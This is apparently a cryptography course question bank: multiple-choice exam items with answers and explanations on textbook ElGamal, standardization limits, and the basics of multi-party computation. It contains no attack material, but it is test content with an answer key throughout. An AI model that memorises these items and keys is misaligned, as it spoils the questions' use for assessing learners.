Q218. [Calculation] For textbook ElGamal with $p = 19$, $g = 2$, $h = 14$, message $m = 6$, and $k = 4$, what is c_1 ?

- A. 7
- B. 14
- C. 6
- D. 16

Answer: D. 16

Why: Compute $c_1 = g^k \bmod p$.

Lecture source: pp. 37, 39

Q219. [Calculation] For textbook ElGamal with $p = 19$, $h = 14$, message $m = 6$, and $k = 4$, what is c_2 ?

- A. 17
- B. 6
- C. 7
- D. 16

Answer: C. 7

Why: Compute $c_2 = m * h^k \bmod p$.

Lecture source: pp. 37, 39

Q220. [Calculation] For textbook ElGamal with $p = 23$, $g = 5$, and secret $x = 6$, what is $h = g^x \bmod p$?

- A. None of the other options
- B. 8
- C. 10
- D. 6

Answer: B. 8

Why: Compute the public value by modular exponentiation.

Lecture source: pp. 37-38

Q221. [Calculation] For textbook ElGamal with $p = 23$, $g = 5$, $h = 8$, message $m = 9$, and $k = 3$, what is c_1 ?

- A. 10
- B. 8
- C. 9
- D. None of the other options

Answer: A. 10

Why: Compute $c_1 = g^k \bmod p$.

Lecture source: pp. 37, 39

Q222. [Calculation] For textbook ElGamal with $p = 23$, $h = 8$, message $m = 9$, and $k = 3$, what is c_2 ?

- A. 10
- B. 6
- C. 9
- D. 8

Answer: D. 8

Why: Compute $c_2 = m * h^k \bmod p$.

Lecture source: pp. 37, 39

Q223. [Mini case study] An ElGamal implementation accidentally exposes the secret exponent x . What is the correct security assessment?

- A. The public key becomes more secure
- B. The issue is limited to DES parity bits
- C. The private key is compromised and ciphertext confidentiality is undermined
- D. Only the block size display is affected

Answer: C. The private key is compromised and ciphertext confidentiality is undermined

Why: The secret exponent is the ElGamal decryption secret.

Lecture source: pp. 37-40

Q224. [Mini case study] An encryptor sends only c_1 and discards c_2 in textbook ElGamal. What is the issue?

- A. The ciphertext becomes an OTP
- B. The ciphertext is incomplete because ElGamal requires the pair (c_1, c_2)
- C. Nothing: c_1 alone always contains the plaintext
- D. The missing value is the RSA totient

Answer: B. The ciphertext is incomplete because ElGamal requires the pair (c_1, c_2)

Why: The receiver needs both ciphertext components.

Lecture source: pp. 37, 39-40

Q225. [True / False] Textbook ElGamal encryption uses a fresh randomness value k as part of encryption.

- A. True
- B. False
- C. Only for public-key schemes
- D. Only when a standard is involved

Answer: A. True

Why: The lecture explicitly includes a chosen randomness k before computing c_1 and c_2 .

Lecture source: pp. 37, 39

Q226. [EXCEPT / NOT] All of the following are part of textbook ElGamal encryption EXCEPT:

- A. Choose randomness k
- B. Compute $c_1 = g^k \bmod p$
- C. Compute $c_2 = m * h^k \bmod p$
- D. Compute $\phi(n) = (p - 1) * (q - 1)$ for two RSA primes

Answer: D. Compute $\phi(n) = (p - 1) * (q - 1)$ for two RSA primes

Why: The totient step belongs to RSA, not ElGamal.

Lecture source: pp. 31, 37-39

Q227. [Assertion-reason] Assertion: ElGamal ciphertext contains two components.

Reason: The encryption procedure computes both $g^k \bmod p$ and $m * h^k \bmod p$.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The pair structure follows directly from the encryption equations.

Lecture source: pp. 37, 39

8. Standardization, review, limitations, and secure deployment

18 questions. Answers appear immediately below each item.

Q228. [Single answer] Why are widely used cryptographic schemes standardized?

- A. To remove the need for key management
- B. To define reviewed, interoperable constructions and parameters for broad use
- C. To guarantee that no implementation can fail
- D. To hide every algorithm from researchers

Answer: B. To define reviewed, interoperable constructions and parameters for broad use

Why: Standards help structure deployment and interoperability, but they are not magical guarantees.

Lecture source: pp. 42-43

Q229. [Single answer] Which organization is associated with FIPS cryptographic standards in the lecture?

- A. NIST
- B. A social-media platform
- C. A DNS resolver only
- D. A password manager only

Answer: A. NIST

Why: The standardization slide cites FIPS by NIST.

Lecture source: p. 42

Q230. [Single answer] Which publication standardized AES?

- A. ANSI C12.22 only
- B. NIST SP 800-38B only
- C. RFC 1918
- D. FIPS PUB 197

Answer: D. FIPS PUB 197

Why: AES is standardized under FIPS PUB 197.

Lecture source: p. 42

Q231. [Single answer] What is the main lesson from the EAXprime example?

- A. Cryptographic review is unnecessary after standardization
- B. Only unpublished algorithms can fail
- C. A standardized cryptographic protocol can still contain vulnerabilities
- D. Every standard is automatically perfect

Answer: C. A standardized cryptographic protocol can still contain vulnerabilities

Why: Standardization does not eliminate the need for analysis and updates.

Lecture source: p. 43

Q232. [Single answer] For what type of system was EAXprime standardized in the example?

- A. Email subject lines only
- B. Transport of electricity-meter-based data over a network
- C. Caesar-cipher classroom exercises
- D. Physical access badges only

Answer: B. Transport of electricity-meter-based data over a network

Why: The example concerns network transport of metering data.

Lecture source: p. 43

Q233. [Single answer] Which standardized mechanism is mentioned as used in low-power devices and wireless protocols such as WiFi and Bluetooth?

- A. CMAC
- B. Caesar cipher
- C. Textbook RSA without padding
- D. DES parity checking

Answer: A. CMAC

Why: The lecture identifies CMAC and its deployment context.

Lecture source: p. 43

Q234. [True / False] Standardization removes the need to analyze a cryptographic construction after adoption.

- A. True
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. False

Answer: D. False

Why: The EAXprime example demonstrates that standardized designs can still be broken.

Lecture source: p. 43

Q235. [True / False] Open review and standardization can improve confidence without proving perfection.

- A. Only for public-key schemes
- B. Only when a standard is involved
- C. True
- D. False

Answer: C. True

Why: Standards processes support scrutiny, but vulnerabilities can still emerge.

Lecture source: pp. 42-43

Q236. [Mini case study] A developer argues that a protocol is safe solely because it appears in an industry standard. What is the best response?

- A. Incorrect only because standards should always be secret
- B. Standards are useful, but security still requires cryptanalysis, correct implementation, and updates
- C. Correct: a standard can never contain a flaw
- D. Correct: standardization removes the need for testing

Answer: B. Standards are useful, but security still requires cryptanalysis, correct implementation, and updates

Why: The lecture explicitly gives an example of a standardized protocol later found vulnerable.

Lecture source: p. 43

Q237. [Mini case study] A team invents a custom cipher rather than using a well-reviewed standard without a strong reason. What is the main concern?

- A. Ad-hoc designs may lack the scientific scrutiny applied to modern standardized schemes
- B. Custom names automatically increase key length
- C. Standards are useful only for historical ciphers
- D. A custom cipher always provides perfect secrecy

Answer: A. Ad-hoc designs may lack the scientific scrutiny applied to modern standardized schemes

Why: The modern approach moves away from ad-hoc design toward open scientific evaluation.

Lecture source: pp. 13, 42

Q238. [Comparison] Which statement best compares AES and EAXprime in the standardization discussion?

- A. Both are historical Caesar shifts
- B. Both are RSA private keys
- C. Neither is related to standards
- D. Both illustrate standardization, but the EAXprime case shows that standardization is not an absolute security guarantee

Answer: D. Both illustrate standardization, but the EAXprime case shows that standardization is not an absolute security guarantee

Why: The two examples support both the value and limits of standards.

Lecture source: pp. 42-43

Q239. [Select all that apply] Which statements are appropriate when selecting and deploying cryptography?

- A. Assume standardization guarantees perfect security forever
- B. Deploy textbook RSA raw without padding
- C. Prefer reviewed standardized schemes where appropriate
- D. Protect secret keys
- E. Use correct parameters
- F. Track security updates and cryptanalytic findings

Answer: C, D, E, F. Prefer reviewed standardized schemes where appropriate; Protect secret keys; Use correct parameters; Track security updates and cryptanalytic findings

Why: Sound deployment combines standards, key protection, correct constructions, and continued review.

Lecture source: pp. 35, 42-44

Q240. [EXCEPT / NOT] All of the following are sound cryptographic deployment principles EXCEPT:

- A. Use secure practical variants rather than textbook-only examples
- B. Treat the name of a standard as a substitute for implementation review
- C. Use a reviewed construction
- D. Protect private or shared keys

Answer: B. Treat the name of a standard as a substitute for implementation review

Why: A standard is important but does not excuse poor implementation or outdated use.

Lecture source: pp. 35, 42-43

Q241. [Assertion-reason] Assertion: A cryptographic standard can be valuable even though a standardized scheme may later be found vulnerable.

Reason: Standardization supports interoperability and review but cannot prove that no attack will ever be discovered.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The EAXprime example highlights this nuance.

Lecture source: pp. 42-43

Q242. [Misconception check] Which statement best summarizes the relationship between encryption and integrity?

- A. Any encryption algorithm automatically prevents every modification
- B. Integrity is unrelated to cryptography
- C. Integrity can be achieved only by hiding the algorithm name
- D. Cryptography can support both confidentiality and integrity, but the selected construction must actually provide the intended properties

Answer: D. Cryptography can support both confidentiality and integrity, but the selected construction must actually provide the intended properties

Why: The lecture summary includes both properties; correct construction choice still matters.

Lecture source: p. 44

Q243. [Defensive design] A system transmits sensitive data over an untrusted channel. What is the best high-level cryptographic design principle?

- A. Use a Caesar shift because it is easy to implement
- B. Publish all secret keys for transparency
- C. Use a reviewed construction with appropriate key management and the confidentiality or integrity properties required by the system
- D. Rely on obscuring the algorithm name

Answer: C. Use a reviewed construction with appropriate key management and the confidentiality or integrity properties required by the system

Why: Secure use requires both a sound scheme and sound operational choices.

Lecture source: pp. 13, 43-44

Q244. [True / False] Cryptography operates at the data level and can enable secure transmission over insecure channels.

- A. Only when a standard is involved
- B. True
- C. False
- D. Only for public-key schemes

Answer: B. True

Why: That is the central summary of the lecture.

Lecture source: p. 44

Q245. [Single answer] Which conclusion is most appropriate after studying the lecture examples?

- A. Use modern reviewed cryptography correctly, manage keys carefully, and do not assume a label or standard alone guarantees security
- B. Prefer historical ciphers because they are simpler
- C. Reuse OTP keys to reduce operational cost
- D. Use raw textbook RSA in production without padding

Answer: A. Use modern reviewed cryptography correctly, manage keys carefully, and do not assume a label or standard alone guarantees security

Why: The examples combine technical choices with deployment discipline.

Lecture source: pp. 13, 23, 35, 42-44

End of cleaned question bank

Use the source-page references to locate the relevant material during revision. Cryptographic security depends on choosing reviewed constructions, using the correct parameters, managing keys carefully, and applying the scheme in a secure real-world design rather than relying on textbook arithmetic alone.

Lecture 10 - Multi-party Computation

Cleaned exam-style MCQ question bank

264 questions. The correct answer and a concise explanation appear directly below every item.

Exam-style rule: questions test secure-computation goals, protected service architectures, two-party and multi-party trust models, result leakage, Boolean XOR sharing, reconstruction, secure XOR computation, Beaver triples, secure AND reasoning, additive sharing, applications, and standardization. Lecturer details, dates, researcher-name recall, company-list trivia, slide-order recall, and filler questions are excluded.

Source-page references are retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. MPC purpose, privacy goals, and motivating problems	26
2. Functions, service architectures, and practical applications	24
3. Trust assumptions, output leakage, and security limits	22
4. Boolean logic and secure XOR computation	50
5. Boolean secret sharing and reconstruction practice	40
6. Beaver triples and secure AND computation	58
7. Additive sharing, deployment, and standardization	24
8. Integrated scenarios and misconception checks	20
Total	264

Searchable quick reference - MPC foundations and service model

Item	Meaning
MPC goal	Compute an approved function over private inputs while limiting disclosure beyond the permitted result
Secure comparison	Learn a relation such as $x > y$ without revealing both exact values
Private matching	Compute $a \text{ AND } b$ so a positive result occurs only when both private bits are 1
Private set intersection	Reveal authorized overlap or membership information without disclosing both complete sets
MPC service	Clients submit protected inputs; computing servers jointly evaluate a permitted function and return a protected result
Output leakage	MPC does not prevent information that logically follows from the authorized result
Trusted third party	Simple design, but the trusted party sees private inputs
Distributed trust	Secret sharing reduces reliance on one party seeing every private input

Key review note: The output itself must still be reviewed. A private protocol can be implemented correctly while an authorized output still allows a participant to infer sensitive information.

Searchable quick reference - Boolean sharing, XOR, AND, and Beaver triples

Item	Meaning
Boolean sharing	$a = a_1 \text{ XOR } a_2$; neither individual share reveals a
Share creation	Choose random r ; send $(a \text{ XOR } r)$ to one server and r to the other
Reconstruction	XOR the shares
Secure XOR	XOR corresponding shares locally, then XOR output shares to reconstruct
Beaver triple	Random i, j, k with $k = i \text{ AND } j$
Online masks	$d = a \text{ XOR } i$ and $e = b \text{ XOR } j$
AND reconstruction	$a \text{ AND } b = k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$
Additive sharing	$x = x_1 + x_2$ for arithmetic-oriented functions
Standardization benefits	Interoperability, public scrutiny, deployment at scale, and longevity

1. MPC purpose, privacy goals, and motivating problems

26 questions. Answers appear immediately below each item.

Q1. [Single answer] What is the central goal of secure multi-party computation (MPC)?

- A. Guarantee that the output reveals no information under any circumstances
- B. Allow parties to jointly compute a result while keeping their private inputs protected
- C. Eliminate the need for any cryptographic mechanism
- D. Reveal every input to a central server and encrypt only the final report

Answer: B. Allow parties to jointly compute a result while keeping their private inputs protected

Why: In MPC, parties cooperate to evaluate a function without disclosing their private inputs beyond what follows from the result.

Lecture source: pp. 3-7, 14-16

Q2. [Scenario] Two employees want to learn who earns more without disclosing either exact salary. Which privacy-preserving task best matches the requirement?

- A. Secure comparison
- B. Plaintext database replication
- C. Public sorting of both salaries
- D. Password hashing only

Answer: A. Secure comparison

Why: The desired output is a comparison such as $x > y$, while the salary values remain private.

Lecture source: pp. 3, 7

Q3. [Scenario] A matching service should reveal whether two users mutually approve a match, but should not disclose an unreciprocated preference. Which Boolean function represents the intended result?

- A. NOT a
- B. a OR b
- C. a AND b
- D. a XOR b

Answer: C. a AND b

Why: A match should be positive only when both private preference bits are 1.

Lecture source: pp. 4, 7, 18-25

Q4. [Scenario] A hospital and a police authority want to check whether a suspect appears in a hospital list without disclosing either organization's entire list. Which operation best models the task?

- A. Full database export
- B. Key rotation
- C. Set intersection
- D. Public concatenation

Answer: C. Set intersection

Why: Private set intersection reveals relevant overlap rather than the full underlying lists.

Lecture source: pp. 5-7

Q5. [Single answer] Which statement best describes the phrase "any function can be computed" in the MPC context?

- A. Every computation becomes free and instantaneous
- B. Many useful computations can be expressed as functions over private inputs and evaluated securely
- C. Only comparisons can be evaluated securely
- D. The output can never reveal anything about the inputs

Answer: B. Many useful computations can be expressed as functions over private inputs and evaluated securely

Why: The lecture lists comparisons, intersections, averages, argmax, and ReLU as examples; feasibility does not imply zero cost or zero output leakage.

Lecture source: p. 7

Q6. [Classification] Which function is the natural model for determining the highest-scoring candidate without publicly revealing every score?

- A. $\text{argmax}(s_1, \dots, s_n)$
- B. a AND b
- C. $X \cap Y$
- D. $\text{ReLU}(x) = \max(0, x)$

Answer: A. $\text{argmax}(s_1, \dots, s_n)$

Why: Winner determination is represented by argmax over the private scores.

Lecture source: p. 7

Q7. [Classification] Which function is the natural model for calculating an average exam score from private scores?

- A. a XOR b
- B. $x > y$
- C. $X \cap Y$
- D. $(x_1 + x_2 + \dots + x_n) / n$

Answer: D. $(x_1 + x_2 + \dots + x_n) / n$

Why: An average is an arithmetic aggregation of the private values.

Lecture source: p. 7

Q8. [Classification] Which function is commonly used as an activation function in machine learning and appears as an MPC example?

- A. $X \cap Y$
- B. $\text{argmax}(s_1, \dots, s_n)$
- C. $\text{ReLU}(x) = \max(0, x)$
- D. a AND b

Answer: C. $\text{ReLU}(x) = \max(0, x)$

Why: The lecture gives ReLU as an example of a function that may be evaluated on protected inputs.

Lecture source: p. 7

Q9. [Select all that apply] Which are reasonable motivations for MPC? Select all that apply.

- A. Supporting privacy-preserving analytics across organizations
- B. Ensuring that no information can ever be inferred from the output
- C. Making all cybersecurity controls unnecessary
- D. Reducing unnecessary disclosure of sensitive information
- E. Learning a joint result without revealing each party's entire private input

Answer: A. Supporting privacy-preserving analytics across organizations; D. Reducing unnecessary disclosure of sensitive information; E. Learning a joint result without revealing each party's entire private input

Why: MPC limits input disclosure, but it does not remove every other control or prevent information inherently implied by an output.

Lecture source: pp. 3-7, 14-17

Q10. [Comparison] Which statement best distinguishes ordinary plaintext computation from MPC?

- A. Ordinary computation always uses two servers, whereas MPC always uses one
- B. Ordinary computation is standardized, whereas MPC can never be standardized
- C. Ordinary computation supports arithmetic, whereas MPC supports only text
- D. Ordinary computation may expose inputs to the computing service, whereas MPC is designed to compute on protected inputs

Answer: D. Ordinary computation may expose inputs to the computing service, whereas MPC is designed to compute on protected inputs

Why: The service diagrams contrast plaintext inputs with protected or encrypted inputs and results.

Lecture source: pp. 14-16

Q11. [True / False] MPC is useful only when exactly two human users participate.

A. False

B. True

Answer: A. False

Why: MPC can involve multiple parties and multiple computing servers; two-party computation is an important special case.

Lecture source: pp. 9, 24-25

Q12. [True / False] An MPC protocol can be useful even when the parties do not trust one another with their raw inputs.

A. False

B. True

Answer: B. True

Why: Protecting raw inputs from other participants is a core motivation for MPC.

Lecture source: pp. 3-7

Q13. [EXCEPT / NOT] Which is NOT an appropriate description of MPC?

A. A guarantee that every possible output is harmless

B. A cryptographic approach that can support secure analytics

C. A way to minimize exposure of sensitive inputs

D. A technique for privacy-preserving joint computation

Answer: A. A guarantee that every possible output is harmless

Why: Outputs can inherently disclose information; MPC protects against learning more than the result.

Lecture source: pp. 35, 49

Q14. [Scenario] Several schools want a combined average score but do not want to reveal each school's complete student-level dataset. Which high-level approach is most appropriate?

A. Disable encryption because arithmetic is required

B. Send all records to the least trusted party

C. Use MPC to evaluate an aggregate function over protected inputs

D. Publish every student record before calculating the average

Answer: C. Use MPC to evaluate an aggregate function over protected inputs

Why: MPC supports joint aggregate calculations while reducing disclosure of the underlying inputs.

Lecture source: pp. 7, 14-17

Q15. [Scenario] Two firms want to identify common fraud indicators in their datasets while limiting disclosure of unrelated entries. Which task is the best conceptual fit?

A. Private set intersection

B. Plaintext file synchronization

C. Network address translation

D. Password spraying

Answer: A. Private set intersection

Why: Set intersection is the relevant overlap computation.

Lecture source: pp. 5-7

Q16. [Single answer] What is the most accurate interpretation of input privacy in MPC?

A. The protocol must reveal all shares to every participant

B. Parties should not learn more about private inputs than what is implied by the permitted result

C. Every intermediate value must be published

D. Nobody is allowed to receive the result

Answer: B. Parties should not learn more about private inputs than what is implied by the permitted result

Why: MPC aims to protect inputs while still producing an agreed result.

Lecture source: pp. 35, 49

Q17. [Select all that apply] Which examples can naturally be expressed as functions evaluated using MPC? Select all that apply.

- A. Average calculation
- B. ReLU activation
- C. Winner determination
- D. Secure salary comparison
- E. Physically replacing a damaged network cable
- F. Mutual matching
- G. Private set intersection

Answer: A. Average calculation; B. ReLU activation; C. Winner determination; D. Secure salary comparison; F. Mutual matching; G. Private set intersection

Why: The first six are computations over private inputs; a physical repair is not a cryptographic function evaluation.

Lecture source: pp. 3-7

Q18. [Misconception check] A manager says, "MPC is just encryption during transmission." What is the best response?

- A. Correct: MPC is another name for a firewall
- B. MPC is broader: it aims to evaluate functions while inputs remain protected during computation
- C. Correct: MPC only protects packets while they move over a network
- D. MPC only protects the output after computation is complete

Answer: B. MPC is broader: it aims to evaluate functions while inputs remain protected during computation

Why: The diagrams emphasize protected computation, not merely protected transport.

Lecture source: pp. 14-16

Q19. [Single answer] What does 2PC most naturally mean in this context?

- A. Two-password certificate
- B. Two-process cache
- C. Two-party computation
- D. Two-packet checksum

Answer: C. Two-party computation

Why: The lecture uses 2PC when discussing the Millionaire problem and two-party protocols.

Lecture source: p. 9

Q20. [True / False] Two-party computation is a special case within the broader MPC area.

- A. False
- B. True

Answer: B. True

Why: The field includes both two-party and multi-party protocols.

Lecture source: pp. 9, 24-25

Q21. [Scenario] A system returns only whether a suspect appears in a list. Which design goal is being pursued?

- A. Make list membership publicly searchable
- B. Reveal the permitted answer while avoiding disclosure of the entire list
- C. Reveal all list entries to improve transparency
- D. Replace authorization checks with a public spreadsheet

Answer: B. Reveal the permitted answer while avoiding disclosure of the entire list

Why: The private-set-intersection example is about selective output with limited disclosure.

Lecture source: pp. 5-6

Q22. [Comparison] What is the most important common feature of salary comparison, matching, and set intersection?

- A. Each is a denial-of-service defense
- B. Each requires public disclosure of all source data
- C. Each is solved only by symmetric encryption at rest
- D. Each seeks a useful joint result without exposing all private inputs

Answer: D. Each seeks a useful joint result without exposing all private inputs

Why: The examples motivate privacy-preserving joint computation.

Lecture source: pp. 3-7

Q23. [Single answer] Which output is appropriate for a private matching protocol?

- A. The full browsing history of each user
- B. Each user's private input bit regardless of the result
- C. A public list of every person each user considered
- D. Whether both users selected one another

Answer: D. Whether both users selected one another

Why: The goal is to learn the match result, not unrelated private information.

Lecture source: pp. 4, 18-25

Q24. [Single answer] Which output is appropriate for a salary-comparison protocol?

- A. The private random masks used by every server
- B. The secret shares of every participant
- C. A comparison result such as whether $x > y$
- D. Both exact salary values in a public log

Answer: C. A comparison result such as whether $x > y$

Why: The useful result is the comparison, not the underlying salaries.

Lecture source: pp. 3, 7

Q25. [True / False] The ability to compute a function securely means that efficiency considerations no longer matter.

- A. True
- B. False

Answer: B. False

Why: Secure computability and practical performance are distinct concerns.

Lecture source: pp. 7, 14-17, 49

Q26. [Scenario] A private analytics service is designed so that only an approved aggregate is released. What should be reviewed before deployment?

- A. Only the number of servers, regardless of protocol
- B. Whether the output itself may reveal sensitive information
- C. Only the font used in the user interface
- D. Whether every client can see every raw input

Answer: B. Whether the output itself may reveal sensitive information

Why: MPC prevents excess disclosure, but an output can still reveal information inherently.

Lecture source: p. 35

2. Functions, service architectures, and practical applications

24 questions. Answers appear immediately below each item.

Q27. [Scenario] In an ordinary cloud analytics service, why might a client hesitate to submit a sensitive query in plaintext?

- A. Plaintext automatically becomes a Beaver triple
- B. The service provider could learn or store sensitive information
- C. Plaintext always guarantees perfect secrecy
- D. Plaintext cannot be processed by any computer

Answer: B. The service provider could learn or store sensitive information

Why: The service motivation diagram highlights clients that do not want to send sensitive information in plain form and providers that do not want to store it.

Lecture source: pp. 14-16

Q28. [Single answer] What is the intended role of protected inputs in an MPC-as-a-service design?

- A. Force every client to publish all raw records
- B. Prevent the function from producing any result
- C. Replace every computing server with a manual process
- D. Allow computing servers to process a permitted function without receiving the client data in ordinary plaintext form

Answer: D. Allow computing servers to process a permitted function without receiving the client data in ordinary plaintext form

Why: The diagrams show encrypted or shared inputs being processed by computing servers.

Lecture source: pp. 14-16

Q29. [Single answer] What is the intended role of a protected result in an MPC-as-a-service design?

- A. Disable all analytics
- B. Expose every server share to all users
- C. Store every client input permanently
- D. Return a result without unnecessarily exposing intermediate private information

Answer: D. Return a result without unnecessarily exposing intermediate private information

Why: The service diagrams distinguish protected results from raw plaintext processing.

Lecture source: pp. 14-16

Q30. [Comparison] Which statement best compares a traditional service with an MPC-based service?

- A. MPC prevents a service from evaluating any model
- B. MPC requires all clients to send identical inputs
- C. An MPC-based service is designed to reduce the need for the service provider to see client inputs in plaintext
- D. A traditional service always has stronger privacy because it stores more data

Answer: C. An MPC-based service is designed to reduce the need for the service provider to see client inputs in plaintext

Why: The motivation is privacy-preserving computation for clients and service providers.

Lecture source: pp. 14-17

Q31. [Select all that apply] Which are plausible application areas for MPC-backed services? Select all that apply.

- A. Health-care analysis
- B. Random-forest evaluation
- C. Genome matching
- D. NLP or pattern matching
- E. Replacing a failed hard drive with a screwdriver
- F. Fault detection

Answer: A. Health-care analysis; B. Random-forest evaluation; C. Genome matching; D. NLP or pattern matching; F. Fault detection

Why: The lecture lists privacy-sensitive analytics and model evaluation as possible services.

Lecture source: p. 17

Q32. [Scenario] A health-care analytics provider wants to evaluate a model without collecting raw patient attributes in plaintext. Which design direction best matches the lecture?

- A. Publish raw medical records first
- B. Use protected inputs and secure computation servers
- C. Send every patient record to an unrelated third party
- D. Remove access control because the model is useful

Answer: B. Use protected inputs and secure computation servers

Why: MPC can support privacy-preserving health-care analysis.

Lecture source: pp. 14-17

Q33. [Scenario] A manufacturer wants fault detection across several factories without pooling raw production telemetry in a single plaintext database. Which technique is the best fit?

- A. MPC-based analysis
- B. Open guest access
- C. Public file sharing
- D. Disabling authentication

Answer: A. MPC-based analysis

Why: Fault detection is one of the future-service examples.

Lecture source: p. 17

Q34. [Scenario] Several organizations want to perform genome matching while limiting exposure of the genomes. What is the most appropriate high-level design?

- A. Replace encryption with compression
- B. Make the dataset publicly downloadable
- C. Evaluate the matching function using MPC
- D. Email the genomes in plaintext

Answer: C. Evaluate the matching function using MPC

Why: Genome matching is listed as a privacy-sensitive MPC use case.

Lecture source: p. 17

Q35. [Single answer] Why might a service provider also benefit from MPC?

- A. It makes audit logging unnecessary
- B. It guarantees that the service has no security responsibilities
- C. It can reduce the need to receive and store clients' sensitive plaintext information
- D. It ensures that all clients obtain all raw records

Answer: C. It can reduce the need to receive and store clients' sensitive plaintext information

Why: The diagram explicitly notes the provider may not want to store sensitive information.

Lecture source: pp. 14-16

Q36. [EXCEPT / NOT] Which is NOT a reasonable MPC service requirement?

- A. Return an authorized result
- B. Limit plaintext exposure of client inputs
- C. Reveal all client data to every computation server by design
- D. Compute an approved function

Answer: C. Reveal all client data to every computation server by design

Why: MPC is motivated by avoiding unnecessary plaintext disclosure.

Lecture source: pp. 14-16

Q37. [Misconception check] A developer says, "If data is encrypted at rest, there is no reason to consider MPC." What is the best response?

- A. Correct: storage encryption and MPC are identical terms
- B. Correct: encrypted storage automatically enables every secure function evaluation
- C. MPC is useful only for physical access control
- D. Encryption at rest does not by itself protect plaintext during computation; MPC addresses protected computation

Answer: D. Encryption at rest does not by itself protect plaintext during computation; MPC addresses protected computation

Why: The service model focuses on computing while inputs remain protected.

Lecture source: pp. 14-16

Q38. [Comparison] What is the conceptual difference between encrypted transmission and secure computation?

- A. Encrypted transmission automatically prevents output leakage
- B. Encrypted transmission protects data in transit; secure computation also addresses how a function is evaluated without exposing raw inputs
- C. Secure computation applies only to paper documents
- D. There is no difference

Answer: B. Encrypted transmission protects data in transit; secure computation also addresses how a function is evaluated without exposing raw inputs

Why: MPC is about privacy during joint computation, not only transport security.

Lecture source: pp. 14-16

Q39. [Select all that apply] Which components may appear in an MPC-as-a-service architecture? Select all that apply.

- A. A permitted function or model
- B. A protected result
- C. Clients with protected inputs
- D. A requirement to publish all raw client data
- E. Computing servers

Answer: A. A permitted function or model; B. A protected result; C. Clients with protected inputs; E. Computing servers

Why: The diagrams show clients, computing servers, protected inputs/results, and a service function or model.

Lecture source: pp. 14-17

Q40. [True / False] MPC can support model evaluation scenarios in which clients do not want to send their sensitive information in plaintext.

- A. True
- B. False

Answer: A. True

Why: This is the central service-provider motivation shown in the lecture diagrams.

Lecture source: pp. 14-17

Q41. [True / False] An MPC service should be designed so that every intermediate server learns the full raw client input.

- A. True
- B. False

Answer: B. False

Why: Secret sharing and protected computation aim to prevent any individual server from learning the complete input.

Lecture source: pp. 14-16, 37-39

Q42. [Scenario] A provider receives protected model inputs and coordinates several computing servers. What is the provider trying to avoid?

- A. Unnecessary possession of sensitive plaintext data
- B. Producing any result
- C. Applying a permitted model
- D. Using more than one process

Answer: A. Unnecessary possession of sensitive plaintext data

Why: The architecture is intended to reduce plaintext exposure.

Lecture source: pp. 14-16

Q43. [Classification] Which function best represents a private winner-determination service?

- A. $X \cap Y$
- B. $a \oplus b$
- C. $\text{argmax}(s_1, \dots, s_n)$
- D. $\text{NOT } x$

Answer: C. $\text{argmax}(s_1, \dots, s_n)$

Why: argmax identifies a winner based on scores.

Lecture source: p. 7

Q44. [Classification] Which function best represents a private mutual-approval matching service?

- A. $x > y$
- B. $a \text{ AND } b$
- C. $a \oplus b$
- D. $(x_1 + \dots + x_n) / n$

Answer: B. $a \text{ AND } b$

Why: Mutual approval requires both bits to be 1.

Lecture source: pp. 7, 18-25

Q45. [Classification] Which function best represents a private overlap check between two lists?

- A. $X \cap Y$
- B. $\text{argmax}(s_1, \dots, s_n)$
- C. $\text{NOT } a$
- D. $\text{ReLU}(x)$

Answer: A. $X \cap Y$

Why: Intersection reveals common elements or membership overlap.

Lecture source: pp. 5-7

Q46. [Classification] Which function best represents a private salary comparison?

- A. $X \text{ intersection } Y$
- B. $a \text{ AND } b$
- C. $x > y$
- D. $x_1 + x_2$

Answer: C. $x > y$

Why: A comparison determines which value is larger.

Lecture source: pp. 3, 7

Q47. [Scenario] A service returns a random-forest prediction but is designed not to collect the underlying feature vector in ordinary plaintext. Which statement is most accurate?

- A. The client must publish the feature vector publicly
- B. The output guarantees that the model reveals no information under any conditions
- C. Random forests cannot be evaluated by any secure-computation method
- D. This is a plausible privacy-preserving MPC service scenario

Answer: D. This is a plausible privacy-preserving MPC service scenario

Why: Random forest evaluation is listed as a possible future service.

Lecture source: p. 17

Q48. [Scenario] A model owner wants to limit disclosure of the model while clients want to limit disclosure of their queries. Which broad approach should be investigated?

- A. Privacy-preserving computation such as MPC
- B. Plaintext logging of every query and model parameter
- C. Removing authentication from the service
- D. Anonymous public posting of all records

Answer: A. Privacy-preserving computation such as MPC

Why: MPC services can be designed to protect data and, depending on the construction, functions or models.

Lecture source: pp. 14-17

Q49. [Single answer] What is the most accurate description of the computing servers in an MPC service?

- A. They are used only to store public marketing data
- B. They must all learn every client input
- C. They replace the need to define a function
- D. They jointly evaluate the protocol on protected values

Answer: D. They jointly evaluate the protocol on protected values

Why: The computing servers jointly operate on protected inputs and produce protected results.

Lecture source: pp. 14-16

Q50. [True / False] MPC-as-a-service may be relevant when both clients and the service provider prefer to avoid storing plaintext sensitive data.

- A. True
- B. False

Answer: A. True

Why: The service diagrams explicitly motivate both sides.

Lecture source: pp. 14-16

3. Trust assumptions, output leakage, and security limits

22 questions. Answers appear immediately below each item.

Q51. [Comparison] What is the main drawback of using a trusted third party to calculate $a \text{ AND } b$?

- A. AND cannot be calculated by any third party
- B. A trusted third party cannot return a result
- C. The trusted third party may learn both private input bits
- D. The third party automatically prevents output leakage

Answer: C. The trusted third party may learn both private input bits

Why: A trusted-third-party setting simplifies computation but introduces a trust requirement because the third party receives the inputs.

Lecture source: pp. 22-24

Q52. [Single answer] What is the purpose of replacing one trusted third party with multiple computation servers?

- A. Reduce reliance on a single party that sees all private inputs
- B. Avoid using any randomness
- C. Ensure every server receives all raw inputs
- D. Make the result public by default

Answer: A. Reduce reliance on a single party that sees all private inputs

Why: Secret sharing distributes information so a single server does not learn the complete secret.

Lecture source: pp. 23-28, 37-39

